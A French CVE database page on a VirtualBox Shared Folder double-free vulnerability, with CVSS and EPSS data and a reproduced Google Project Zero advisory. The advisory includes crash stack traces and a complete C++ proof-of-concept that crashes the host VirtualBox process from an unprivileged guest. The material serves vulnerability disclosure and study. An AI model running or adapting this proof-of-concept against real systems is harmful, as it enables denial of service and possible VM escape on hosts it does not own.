CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Vulnerability in the Oracle VM VirtualBox component of Oracle Virtualization (subcomponent: Shared Folder). Supported versions that are affected are Prior to 5.0.38 and Prior to 5.1.20. Easily "exploitable" vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle VM VirtualBox accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.0 Base Score 8.4 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H).
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
8.4
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Changed
An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
None
There is no loss of confidentiality within the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
3.6
AV:L/AC:L/Au:N/C:N/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
4.5%
–
–
–
–
2021-09-05
–
4.5%
–
–
–
2022-01-02
–
4.5%
–
–
–
2022-01-09
–
4.5%
–
–
–
2022-02-06
–
–
2%
–
–
2022-02-13
–
–
2%
–
–
2022-04-03
–
–
2%
–
–
2022-04-10
–
–
2%
–
–
2022-09-11
–
–
2%
–
–
2023-03-12
–
–
–
0.07%
–
2023-09-17
–
–
–
0.07%
–
2023-12-03
–
–
–
0.07%
–
2023-12-17
–
–
–
0.07%
–
2024-01-07
–
–
–
0.07%
–
2024-04-07
–
–
–
0.07%
–
2024-06-02
–
–
–
0.07%
–
2024-06-02
–
–
–
0.07%
–
2024-07-21
–
–
–
0.07%
–
2024-08-04
–
–
–
0.07%
–
2024-08-11
–
–
–
0.07%
–
2024-11-17
–
–
–
0.07%
–
2024-12-15
–
–
–
0.1%
–
2024-12-22
–
–
–
0.15%
–
2025-01-19
–
–
–
0.15%
–
2025-02-16
–
–
–
0.13%
–
2025-02-23
–
–
–
0.13%
–
2025-01-19
–
–
–
0.15%
–
2025-02-16
–
–
–
0.13%
–
2025-02-23
–
–
–
0.13%
–
2025-03-18
–
–
–
–
0.27%
2025-04-08
–
–
–
–
0.27%
2025-04-08
–
–
–
–
0.27,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-04-24 22h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1227
We have discovered a heap double-free vulnerability in the latest version of VirtualBox (5.1.18), with Guest Additions (and more specifically shared folders) enabled in the guest operating system. The heap memory corruption takes place in the VirtualBox.exe process running on a Windows host (other host platforms were untested). It can be triggered from an unprivileged ring-3 process running in a Windows guest, by performing two nt!NtQueryDirectoryFile system calls [1] against a shared (sub)directory one after another: the first one with the ReturnSingleEntry argument set to FALSE, and the next one with ReturnSingleEntry=TRUE. During the second system call, a double free takes place and the VM execution is aborted.
We have confirmed that the vulnerability reproduces with Windows 7/10 32-bit as the guest, and Windows 7 64-bit as the host system, but haven’t checked other configurations. However, it seems very likely that the specific version of Windows as the guest/host is irrelevant.
It also seems important for reproduction that the shared directory being queried has some files (preferably a few dozen) inside of it. The attached Proof of Concept program (written in C++, can be compiled with Microsoft Visual Studio) works by first creating a dedicated directory in the shared folder (called “vbox_crash”), and then creating 16 files with ~128 byte long names, which appears to be sufficient to always trigger the bug. Finally, it invokes the nt!NtQueryDirectoryFile syscall twice, leading to a VM crash. While the PoC requires write access to the shared folder to set up reliable conditions, it is probably not necessary in practical scenarios, as long as the shared folder already contains some files (which is most often the case).
If we assume that the shared folder is mounted as drive E, we can start the PoC as follows:
>VirtualBoxKiller.exe E:\
Immediately after pressing "enter", the virtual machine should be aborted. The last two lines of the VBoxHardening.log file corresponding to the VM should be similar to the following:
--- cut ---
3e28.176c: supR3HardNtChildWaitFor[2]: Quitting: ExitCode=0xc0000374 (rcNtWait=0x0, rcNt1=0x0, rcNt2=0x103, rcNt3=0x103, 4468037 ms, the end);
1020.3404: supR3HardNtChildWaitFor[1]: Quitting: ExitCode=0xc0000374 (rcNtWait=0x0, rcNt1=0x0, rcNt2=0x103, rcNt3=0x103, 4468638 ms, the end);
--- cut ---
The 0xc0000374 exit code above translates to STATUS_HEAP_CORRUPTION. A summary of the crash and the corresponding stack trace is as follows:
--- cut ---
1: kd> g
Critical error detected c0000374
Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x2f:
0033:00000000`76f3f22f cc int 3
1: kd> kb
RetAddr : Args to Child : Call Site
00000000`76f3f846 : 00000000`00000002 00000000`00000023 00000000`00000087 00000000`00000003 : ntdll!RtlReportCriticalFailure+0x2f
00000000`76f40412 : 00000000`00001010 00000000`03a50000 00000000`00001000 00000000`00001000 : ntdll!RtlpReportHeapFailure+0x26
00000000`76f42084 : 00000000`03a50000 00000000`05687df0 00000000`00000000 00000000`038d0470 : ntdll!RtlpHeapHandleError+0x12
00000000`76eda162 : 00000000`05687de0 00000000`00000000 00000000`00000000 000007fe`efc8388b : ntdll!RtlpLogHeapFailure+0xa4
00000000`76d81a0a : 00000000`00000000 00000000`03f0e1b0 00000000`111fdd40 00000000`00000000 : ntdll!RtlFreeHeap+0x72
00000000`725a8d94 : 00000000`00000087 000007fe`efc3919b 00000000`08edf790 00000000`05661c00 : kernel32!HeapFree+0xa
000007fe`efc58fef : 00000000`00000086 00000000`00001000 00000000`00000000 00000000`03f0e1b0 : MSVCR100!free+0x1c
000007fe`f4613a96 : 00000000`05661d16 00000000`00000000 00000000`00000000 00000000`05687df0 : VBoxRT+0xc8fef
000007fe`f4611a48 : 00000000`056676d0 00000000`08edf830 00000000`00000000 00000000`05661c98 : VBoxSharedFolders!VBoxHGCMSvcLoad+0x1686
000007fe`ee885c22 : 00000000`111fdd30 00000000`111fdd30 00000000`03f352b0 00000000`0000018c : VBoxSharedFolders+0x1a48
000007fe`ee884a2c : 00000000`00000000 00000000`111fdd30 00000000`00000000 00000000`00000000 : VBoxC!VBoxDriversRegister+0x48c62
000007fe`efc13b2f : 00000000`05747fe0 00000000`00000da4 00000000`00000000 00000000`00000000 : VBoxC!VBoxDriversRegister+0x47a6c
000007fe`efc91122 : 00000000`05737e90 00000000`05737e90 00000000`00000000 00000000`00000000 : VBoxRT+0x83b2f
00000000`72561d9f : 00000000`05737e90 00000000`00000000 00000000`00000000 00000000`00000000 : VBoxRT+0x101122
00000000`72561e3b : 00000000`725f2ac0 00000000`05737e90 00000000`00000000 00000000`00000000 : MSVCR100!endthreadex+0x43
00000000`76d759bd : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSVCR100!endthreadex+0xdf
00000000`76eaa2e1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x1d
--- cut ---
When the "Heaps" option is enabled for VirtualBox.exe in Application Verifier, the crash is reported in the following way:
--- cut ---
1: kd> g
=======================================
VERIFIER STOP 0000000000000007: pid 0xC08: Heap block already freed.
000000000DCB1000 : Heap handle for the heap owning the block.
000000001C37E000 : Heap block being freed again.
0000000000000000 : Size of the heap block.
0000000000000000 : Not used
=======================================
This verifier stop is not continuable. Process will be terminated
when you use the `go' debugger command.
=======================================
1: kd> kb
RetAddr : Args to Child : Call Site
000007fe`f42437ee : 00000000`00000000 00000000`1c37e000 000007fe`f42415a8 000007fe`f42520b0 : ntdll!DbgBreakPoint
000007fe`f4249970 : 00000000`265cf5b8 00000000`00000007 00000000`0dcb1000 00000000`1c37e000 : vrfcore!VerifierStopMessageEx+0x772
000007fe`f302931d : 00000000`1c186a98 00000000`00000000 00000000`265cf520 00100000`265cf520 : vrfcore!VfCoreRedirectedStopMessage+0x94
000007fe`f3026bc1 : 00000000`0dcb1000 00000000`1c37e000 00000000`00000000 00000000`0dcb1000 : verifier!AVrfpDphReportCorruptedBlock+0x155
000007fe`f3026c6f : 00000000`0dcb1000 00000000`1c37e000 00000000`0dcb1000 00000000`00002000 : verifier!AVrfpDphFindBusyMemoryNoCheck+0x71
000007fe`f3026e45 : 00000000`1c37e000 00000000`00000000 00000000`01001002 00000000`1717ed08 : verifier!AVrfpDphFindBusyMemory+0x1f
000007fe`f302870e : 00000000`1c37e000 00000000`00000000 00000000`01001002 00000000`0dcb1038 : verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x25
00000000`76f440d5 : 00000000`00000000 00000000`00000000 00000000`00001000 00000000`00000000 : verifier!AVrfDebugPageHeapFree+0x8a
00000000`76ee796c : 00000000`0dcb0000 00000000`00000000 00000000`0dcb0000 00000000`00000000 : ntdll!RtlDebugFreeHeap+0x35
00000000`76d81a0a : 00000000`0dcb0000 000007fe`efc41b01 00000000`00000000 00000000`1c37e000 : ntdll! ?? ::FNODOBFM::`string'+0xe982
00000000`725a8d94 : 00000000`00000087 000007fe`efc3919b 00000000`265cfb10 00000000`1c341f00 : kernel32!HeapFree+0xa
000007fe`efc58fef : 00000000`00000086 00000000`00001000 00000000`00000000 00000000`67e40fe0 : MSVCR100!free+0x1c
000007fe`f4923a96 : 00000000`1c342076 00000000`00000000 00000000`00000000 00000000`1c37e000 : VBoxRT+0xc8fef
000007fe`f4921a48 : 00000000`5c774ff0 00000000`265cfbb0 00000000`00000000 00000000`1c341ff8 : VBoxSharedFolders!VBoxHGCMSvcLoad+0x1686
000007fe`ee595c22 : 00000000`63097f60 00000000`63097f60 00000000`25f81f30 00000000`0000018c : VBoxSharedFolders+0x1a48
000007fe`ee594a2c : 00000000`00000000 00000000`63097f60 00000000`00000000 00000000`00000000 : VBoxC!VBoxDriversRegister+0x48c62
000007fe`efc13b2f : 00000000`25339730 00000000`000004c8 00000000`00000000 00000000`1dce4d30 : VBoxC!VBoxDriversRegister+0x47a6c
000007fe`efc91122 : 00000000`1dce4d30 00000000`1dce4d30 00000000`00000000 00000000`00000000 : VBoxRT+0x83b2f
00000000`72561d9f : 00000000`1dce4d30 00000000`00000000 00000000`00000000 00000000`00000000 : VBoxRT+0x101122
00000000`72561e3b : 00000000`725f2ac0 00000000`1dce4d30 00000000`00000000 00000000`00000000 : MSVCR100!endthreadex+0x43
00000000`76d759bd : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSVCR100!endthreadex+0xdf
00000000`76eaa2e1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x1d
--- cut ---
Due to the nature of the flaw (heap memory corruption), it could potentially make it possible for an unprivileged guest program to escape the VM and execute arbitrary code on the host, hence we consider it to be a high-severity issue.
References:
[1] ZwQueryDirectoryFile routine, https://msdn.microsoft.com/en-us/library/windows/hardware/ff567047(v=vs.85).aspx
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#include <time.h>
extern "C"
NTSTATUS WINAPI NtQueryDirectoryFile(
_In_ HANDLE FileHandle,
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_Out_ PVOID FileInformation,
_In_ ULONG Length,
_In_ FILE_INFORMATION_CLASS FileInformationClass,
_In_ BOOLEAN ReturnSingleEntry,
_In_opt_ PUNICODE_STRING FileName,
_In_ BOOLEAN RestartScan
);
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
int main(int argc, char **argv) {
// Validate command line format.
if (argc != 2) {
printf("Usage: %s <path to a writable shared folder>\n", argv[0]);
return 1;
}
// Initialize the PRNG.
srand((unsigned int)time(NULL));
// Create a subdirectory dedicated to demonstrating the vulnerability.
CHAR TmpDirectoryName[MAX_PATH];
_snprintf_s(TmpDirectoryName, sizeof(TmpDirectoryName), "%s\\vbox_crash", argv[1]);
if (!CreateDirectoryA(TmpDirectoryName, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
printf("CreateDirectory failed, %d\n", GetLastError());
return 1;
}
// Create 16 files with long (128-byte) names, which appears to always be sufficient to trigger the bug.
CONST UINT kTempFilesCount = 16;
CONST UINT kTempFilenameLength = 128;
CHAR TmpFilename[kTempFilenameLength + 1], TmpFilePath[MAX_PATH];
memset(TmpFilename, 'A', kTempFilenameLength);
TmpFilename[kTempFilenameLength] = '\0';
for (UINT i = 0; i < kTempFilesCount; i++) {
_snprintf_s(TmpFilePath, sizeof(TmpFilePath), "%s\\%s.%u", TmpDirectoryName, TmpFilename, rand());
HANDLE hFile = CreateFileA(TmpFilePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("CreateFile#1 failed, %d\n", GetLastError());
return 1;
}
CloseHandle(hFile);
}
// Open the temporary directory.
HANDLE hDirectory = CreateFileA(TmpDirectoryName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDirectory == INVALID_HANDLE_VALUE) {
printf("CreateFile#2 failed, %d\n", GetLastError());
return 1;
}
IO_STATUS_BLOCK iosb;
FILE_DIRECTORY_INFORMATION fdi;
// Perform the first call, with ReturnSingleEntry set to FALSE.
NtQueryDirectoryFile(hDirectory, NULL, NULL, NULL, &iosb, &fdi, sizeof(fdi), FileDirectoryInformation, FALSE, NULL, TRUE);
// Now make the same call, but with ReturnSingleEntry=TRUE. This should crash VirtualBox.exe on the host with a double-free exception.
NtQueryDirectoryFile(hDirectory, NULL, NULL, NULL, &iosb, &fdi, sizeof(fdi), FileDirectoryInformation, TRUE, NULL, TRUE);
// We should never reach here.
CloseHandle(hDirectory);
return 0;
}
Products Mentioned
Configuraton 0
Oracle>>Vm_virtualbox >> Version From (including) 5.0.0 To (excluding) 5.0.38
